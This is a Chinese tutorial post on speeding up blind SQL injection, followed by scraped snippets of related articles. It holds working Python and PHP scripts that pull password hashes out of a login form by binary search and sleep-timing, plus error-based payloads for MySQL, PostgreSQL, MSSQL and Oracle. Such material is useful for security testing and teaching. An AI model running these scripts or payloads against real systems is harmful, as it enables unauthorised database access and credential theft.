详解SQL盲注测试高级技巧

写在前面:

这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了。但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进。

正文:

首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类。

Booleanbase
Timebase
Errorbase

其中第一类Boolean就是我们最常接触到的普通盲注。

比如在where语句中可以构造or 1=1来使返回页面不同。(这里用mysql演示一下,大家体会就好)

mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)

如果注入点在order by后面,那么则可以使用判断语句来构造报错。(其实order by后面的注入也可以根据返回结果的顺序来判断,这里自由发挥就好:P)

mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row

基于时间的盲注的话,mysql主要涉及两个函数,sleep banchmark 基本是使用如下。

mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

基于报错的盲注,需要网站显示数据库报错信息,后面会有详细阐述。

知道了怎么判断ture or false之后就是获取数据了,当然你可以暴力测试每一个ascii码,不过这需要很多次尝试,如果你家正巧网速不好那么速度将会是十分缓慢的。

拿32位hash为例,暴力猜解的话许要 16*32=512次查询(因为hash一般是16进制,只有16种可能)。如果是一段包含大小写字母和特殊字符的32位字符串那?大概需要 72*32=2304次查询,这就比较多了。想要减少盲注查询的次数,一般会用到如下几种方法。

字频统计:

根据英文中字母出现的频率进行猜测,这种方法仅局限于用户名这样有意义的字符串,并不能应用于hash这样的无规律字符串。而且仅限于纯字母的猜测。wiki百科上有字母使用频率的统计。

那么根据字频统计,e出现的概率最高,a其次,那我们就先猜测e,再猜测a。更近一步,我们可以使用双字的字频来进一步提高效率,比如th在英文中出现的概率很高。那么在第一个字母是t之后,我们下个字符第一个猜测h。

ps.这种方法的效率有多高哪?只能说看脸。

二分查找,位运算法:

把他们两个放在一起是因为他们的作用是相同的都会把试探字符串的次数降低到log(n)*length (n为可能字符的数量)。

首先来说二分查找,它的原理是把可能出现的字符看做一个有序的序列,这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。

使用而返查找确定一个hash散列的一位,只需要4次查询(2^4=16),也就是说确定一个32位hash,只需要126次请求,大大缩短了查询的次数。

这里给出一个二分查找的pyhton源代码

import urllib
import urllib2
def doinject(payload):
    url = ‘xxxxxxxxxxxxxxxxxxxxx‘
    values = {‘injection‘:payload,‘inject‘:‘Inject‘}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header(‘cookie‘,‘xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx‘)
    response = urllib2.urlopen(req)
    the_page = response.read()
    if (the_page.find("Welcome back")>0):
        return True
    else:
        return False
    
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,33):
    s=0
    t=15
    while (s<t):
        if (t-s==1):
            if doinject(‘\‘ or substring(password,‘+str(i)+‘,1)=\‘‘+wordlist[t]+‘\‘ -- LanLan‘):
                m=t
                break
            else:
                m=s
                break
        m=(s+t)/2
        if doinject(‘\‘ or substring(password,‘+str(i)+‘,1)>\‘‘+wordlist[m]+‘\‘ -- LanLan‘):
            s=m+1
            print wordlist[s]+":"+wordlist[t]
        else:
            t=m
            print wordlist[s]+":"+wordlist[t]
    res = res+wordlist[m]
    print res

这里还有使用正则表达式来进行二分查找的php实现

$sUrl = ‘xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx‘;
$sPost = ‘inject=Inject&injection=‘;
$sCharset = ‘ABCDEF0123456789‘;
 
 
/* for every character */
for ($i=0, $hash=‘‘; $i<32; ++$i) {
        $ch = $sCharset;
 
        do {
                $ch1 = substr($ch, 0, intval(strlen($ch)/2));
                $ch2 = substr($ch, intval(strlen($ch)/2));
                
                $p = $sPost.‘absolutelyimpossible\‘ OR 1=(SELECT 1 FROM blight WHERE password REGEXP \‘^‘.$hash.‘[‘.$ch1.‘]\‘ AND sessid=xxx) AND \‘1\‘=\‘1‘;
                $res = libHTTP::POST($sUrl, $p);
 
                if (strpos($res[‘content‘], ‘Your password is wrong‘) === false)
                        $ch = $ch1;
                else 
                        $ch = $ch2;
                
        } while (strlen($ch) > 1);
        
        $hash .= $ch;
        echo "\rhash: ".$hash;
}

ps:上面的代码都是针对32位hash的盲注

再说位运算,它的原理是每次请求确定二进制的一位,对于ascii码连续的区间时间复杂度为log(n)*length,所以相对于二分查找,它应用起来比较有局限性。

mysql中位运算的与运算是&,我们主要用它来进行猜测,比如a的ascii码是1100001,那么我们可以使用1,2,4,8,16…..依次与他进行与运算,最终得到结果。

mysql> select ord(‘a‘) & 1;
+--------------+
| ord(‘a‘) & 1 |
+--------------+
|            1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord(‘a‘) & 2;
+--------------+
| ord(‘a‘) & 2 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord(‘a‘) & 4;
+--------------+
| ord(‘a‘) & 4 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)

基于时间的盲注:

上面的方法,都是通过返回页面的不同来获取信息,所以理论上来说每次,最多只能确定一个二进制位(true or false)。但是,在盲注过程中还有一个重要的因素可以帮助我们获取信息,那就是页面返回时间的长短。通过如下的语句,我们可以通过一次请求确定一个字符的ascii码。如果是一串32位的hash,那么只需要32次请求,即可得到答案。

‘ or sleep(ord(substr(password,1,1))) --

利用语句一般可以写成这样

mysql> select sleep(find_in_set(mid(@@version, 1, 1), ‘0,1,2,3,4,5,6,7,8,9,.‘));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), ‘0,1,2,3,4,5,6,7,8,9,.‘));
1 row in set (11.00 sec)

推荐使用,sleep而不要使用benchmark,因为sleep不会占用cpu而且比较稳定。

下面给出一个针对32位hash的盲注算法

import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
    url = ‘xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx‘
    values = {‘injection‘:payload,‘inject‘:‘Inject‘}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header(‘cookie‘,‘xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx‘)
    start = time()
    response = urllib2.urlopen(req)
    end = time()
    #print response.read()
    index = int(end-start)
    print ‘index:‘+ str(index)
    print ‘char:‘ + wordlist[index-1]
    return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
    num = doinject(‘\‘ or sleep( find_in_set(substring(password, ‘+str(i)+‘, 1), \‘0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\‘)) -- LanLan‘)
    res = res+wordlist[num-1]
    print res

这里还有注意一点,sleep在where语句中会被计算多次,在实际应用中需要根据表中的记录数,做相应的处理。

比如有一个2个记录的表

select count(*) from test;
    +----------+
    | count(*) |
    +----------+
    |        2 |
    +----------+

如果直接查询,因为两个记录都会引发查询所以会触发两次sleep()延迟12秒

select * from test where sleep(locate(mid(@@version, 1, 1), ‘0123456789.‘));
Empty set (12.00 sec)

这里在前面使用一个条件语句,因为and前面的表达式如果为false则后面的不执行,所以sleep执行一次,延迟6秒

select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), ‘0123456789.‘));
Empty set (6.00 sec)

ps.这种方法很怕网络不稳定。

基于报错的盲注:

如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。

比如在mysql中我们可以使用如下的经典语句进行报错。

select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

这是网上流传很广的一个版本,可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

其实这是mysql的一个bug所引起的,其他数据库都不会因为这个问题而报错。

另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: ‘\admin888‘  
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));  
ERROR 1105 (HY000): XPATH syntax error: ‘^$admin888^$‘

而在其他数据库中也可以使用不同的方法构成报错

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- 
MSSQL: /?param=1 and(1)=convert(int,@@version)-- 
Sybase: /?param=1 and(1)=convert(int,@@version)-- 
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select 
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
时间: 2024-10-11 18:27:57

详解SQL盲注测试高级技巧的相关文章

SQL盲注测试高级技巧

写在前面: 这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了.但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进. 正文: 首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法.在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同).一般情况下,盲注可分为三类. Booleanbase Timebase Errorbase 其中第一类Boolean就是我们最常接触到的普通

小白日记42:kali渗透测试之Web渗透-SQL盲注

SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注. 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断 a.  1' and 1=1--+ b.  1' and 1=2--+    [输入前真后假,无返回,页面没被执行] ###a与b比较,表明存在SQL注

第九届极客大挑战——Geek Chatroom(sql盲注)

引言:因为太想加入三叶草了,所以极客大挑战这段时间一直在努力的学习,原来还真没想到能在比赛中拿到排行榜第一的成绩,不过现在看来努力始终都是有回报的.但我依然还是比较菜啊-.-,最近却有很多伙伴加我好友,一来就叫我大佬,让我深感有愧-.-,既然都想看我wp,那我就挑几道题写写好了,口拙词劣还望见谅. 首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢,

(转)SQL盲注攻击的简单介绍

转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输入用来影响被执行的SQL脚本     根据Chris Anley的定义[2], 当一个攻击者通过在查询语句中插入一系列的SQL语句来将数据写入到应用程序中,这种方法就可以定义

SQL盲注攻击的简单介绍

1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输入用来影响被执行的SQL脚本 根据Chris Anley的定义[2], 当一个攻击者通过在查询语句中插入一系列的SQL语句来将数据写入到应用程序中,这种方法就可以定义成SQL注入.Stephen Kost[3]给出了这种攻击形式的另一个特征,“从一个数据库获得未经授权的访问和直接检索”,SQL注入攻

SQL盲注工具BBQSQL

SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具体的错误信息,只给出的一个模糊的反馈,如输入数据有误或者空白页面.这种情况下的注入就被称为SQL盲注. 在SQL盲注中,渗透人员需要反复进行大量注入操作,每次都需要重复设置配置项,构建新的SQL语句等.这些操作极其消耗时间.为了避免这些重复操作,Kali Linux提供了一个SQL盲注工具BBQSQL.在这个工具中,用户可以将各项

【安全牛学习笔记】&#8203;手动漏洞挖掘-SQL盲注

手动漏洞挖掘-----SQL盲注 不显示数据库内建的报错信息 内建的报错信息帮助开发人员发现和修复问题 报错信息提供关于系统的大量有用信息 当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将 无法依据报错信息判断注入语句的执行结果,即 盲 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断 1'and 1=1--+ 1'and 1=2--+ select * from table_name where id='1' orderby 2--'; 课时91 手动漏洞挖

解决SQL盲注和跨站脚本攻击

今天测试用IBM的AppScan,对系统进行测试,发现了系统的安全漏洞,分别是SQL盲注和跨站脚本攻击,这两种安全隐患都是利用参数传递的漏洞趁机对系统进行攻击.截图如下: 解决方案(参考网上的例子):自己写一个 Filter,使用 Filter 来过滤浏览器发出的请求.对每个 post 请求的参数过滤一些关键字,替换成安全的,例如:< > ' " \ / # & .方法是实现一个自定义的 HttpServletRequestWrapper,然后在 Filter 里面调用它,替

Web系统常见安全漏洞及解决方案-SQL盲注

关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF 8.CRLF 9.命令行注入 今天主要讲下SQL盲注. 一.SQL 盲注.发现数据库错误模式.跨站点脚本编制 严重性: 高 类型: 应用程序级别测试 WASC威胁分类: 命令执行类型:SQL 注入 CVE 引用: 不适用 安全风险: 1.      可能会查看.修改或删除数据库条目和表   ---S